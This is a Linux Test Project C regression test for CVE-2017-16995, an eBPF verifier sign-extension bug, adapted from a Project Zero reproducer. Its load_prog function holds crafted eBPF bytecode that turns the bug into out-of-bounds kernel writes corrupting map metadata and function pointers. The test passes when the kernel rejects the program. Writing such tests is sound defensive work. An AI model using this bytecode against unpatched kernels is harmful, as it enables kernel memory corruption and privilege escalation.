1// SPDX-License-Identifier: GPL-2.0-or-later 2/* 3 * Copyright (c) 2019 Richard Palethorpe <rpalethorpe@suse.com> 4 * Original byte code was provided by jannh@google.com 5 * 6 * Check for the bug fixed by 95a762e2c8c942780948091f8f2a4f32fce1ac6f 7 * "bpf: fix incorrect sign extension in check_alu_op()" 8 * CVE-2017-16995 9 * 10 * This test is very similar to the reproducer found here: 11 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1454 12 * 13 * However it has been modified to try to corrupt the map struct instead of 14 * writing to a noncanonical pointer. This appears to be more reliable at 15 * producing stack traces and confirms we would be able to overwrite the ops 16 * function pointers, as suggested by Jan. 17 * 18 * If the eBPF code is loaded then this is considered a failure regardless of 19 * whether it is able to cause any visible damage. 20 */ 21 22#include <string.h> 23#include <stdio.h> 24#include <inttypes.h> 25 26#include "config.h" 27#include "tst_test.h" 28#include "tst_capability.h" 29#include "bpf_common.h" 30 31#define LOG_SIZE (1024 * 1024) 32 33#define CHECK_BPF_RET(x) ((x) >= 0 || ((x) == -1 && errno != EPERM)) 34 35static const char MSG[] = "Ahoj!"; 36static char *msg; 37 38static char *log; 39static uint32_t *key; 40static uint64_t *val; 41static union bpf_attr *attr; 42 43static int load_prog(int fd) 44{ 45 int ret; 46 47 struct bpf_insn insn[] = { 48 BPF_LD_MAP_FD(BPF_REG_1, fd), 49 50 // fill r0 with pointer to map value 51 BPF_MOV64_REG(BPF_REG_8, BPF_REG_10), 52 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -4), // allocate 4 bytes stack 53 BPF_MOV32_IMM(BPF_REG_2, 0), 54 BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_2, 0), 55 BPF_MOV64_REG(BPF_REG_2, BPF_REG_8), 56 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), 57 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), 58 BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit 59 BPF_EXIT_INSN(), // exit 60 61 // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff 62 BPF_MOV32_IMM(BPF_REG_1, -1), 63 // r1 = 0x1'0000'0000, mistreated as 0 64 BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), 65 // r1 = 64, mistreated as 0 66 BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 26), 67 68 // Write actual value of r1 to map for debugging this test 69 BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), 70 71 // Corrupt the map meta-data which comes before the map data 72 BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), 73 BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_1), 74 75 BPF_MOV64_IMM(BPF_REG_3, 0xdeadbeef), 76 BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 77 BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_1), 78 BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 79 BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_1), 80 BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 81 BPF_ALU64_REG(BPF_SUB, BPF_REG_2, BPF_REG_1), 82 BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), 83 84 // terminate to make the verifier happy 85 BPF_MOV32_IMM(BPF_REG_0, 0), 86 BPF_EXIT_INSN() 87 }; 88 89 bpf_init_prog_attr(attr, insn, sizeof(insn), log, LOG_SIZE); 90 ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)), 91 CHECK_BPF_RET); 92 93 if (ret < -1) 94 tst_brk(TBROK, "Invalid bpf() return value %d", ret); 95 96 if (ret >= 0) { 97 tst_res(TINFO, "Verification log:"); 98 fputs(log, stderr); 99 return ret; 100 } 101 102 if (log[0] == 0) 103 tst_brk(TBROK | TERRNO, "Failed to load program"); 104 105 tst_res(TPASS | TERRNO, "Failed verification"); 106 return ret; 107} 108 109static void setup(void) 110{ 111 rlimit_bump_memlock(); 112 memcpy(msg, MSG, sizeof(MSG)); 113} 114 115static void run(void) 116{ 117 int map_fd, prog_fd; 118 119 map_fd = bpf_map_array_create(32); 120 121 memset(attr, 0, sizeof(*attr)); 122 attr->map_fd = map_fd; 123 attr->key = ptr_to_u64(key); 124 attr->value = ptr_to_u64(val); 125 attr->flags = BPF_ANY; 126 127 TEST(bpf(BPF_MAP_UPDATE_ELEM, attr, sizeof(*attr))); 128 if (TST_RET == -1) 129 tst_brk(TBROK | TTERRNO, "Failed to lookup map element"); 130 131 prog_fd = load_prog(map_fd); 132 if (prog_fd == -1) 133 goto exit; 134 135 tst_res(TFAIL, "Loaded bad eBPF, now we will run it and maybe crash"); 136 137 bpf_run_prog(prog_fd, msg, sizeof(MSG)); 138 SAFE_CLOSE(prog_fd); 139 140 *key = 0; 141 bpf_map_array_get(map_fd, key, val); 142 tst_res(TINFO, "Pointer offset was 0x%"PRIx64, *val); 143exit: 144 SAFE_CLOSE(map_fd); 145} 146 147static struct tst_test test = { 148 .setup = setup, 149 .test_all = run, 150 .min_kver = "3.18", 151 .caps = (struct tst_cap []) { 152 TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN), 153 {} 154 }, 155 .bufs = (struct tst_buffers []) { 156 {&key, .size = sizeof(*key)}, 157 {&val, .size = sizeof(*val)}, 158 {&log, .size = LOG_SIZE}, 159 {&attr, .size = sizeof(*attr)}, 160 {&msg, .size = sizeof(MSG)}, 161 {}, 162 }, 163 .tags = (const struct tst_tag[]) { 164 {"linux-git", "95a762e2c8c9"}, 165 {"CVE", "2017-16995"}, 166 {} 167 } 168}; 169